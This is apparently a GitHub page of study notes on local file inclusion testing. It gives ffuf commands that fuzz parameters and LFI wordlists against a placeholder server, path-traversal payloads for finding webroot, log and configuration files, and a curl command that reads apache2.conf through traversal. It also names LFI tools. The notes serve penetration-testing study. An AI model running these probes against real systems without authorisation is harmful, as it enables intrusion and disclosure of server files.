Skip to content

Latest commit

 

History

History
48 lines (32 loc) · 1.74 KB

9.3 File Inclusion - tool.md

File metadata and controls

48 lines (32 loc) · 1.74 KB

Fuzzing Parameters

  1. Scan for parameters

Common LFI parameters

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
  1. Scan for LFI Common LFI Word List
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287

Fuzzing Server Files

Server Webroot

Linux Windows

Tips Add few ../../../

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287

Server Logs/ Configurations

Linux Windows SecLists-Jhaddix

ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287


curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf

Tools

LFISuite LFiFreak liffy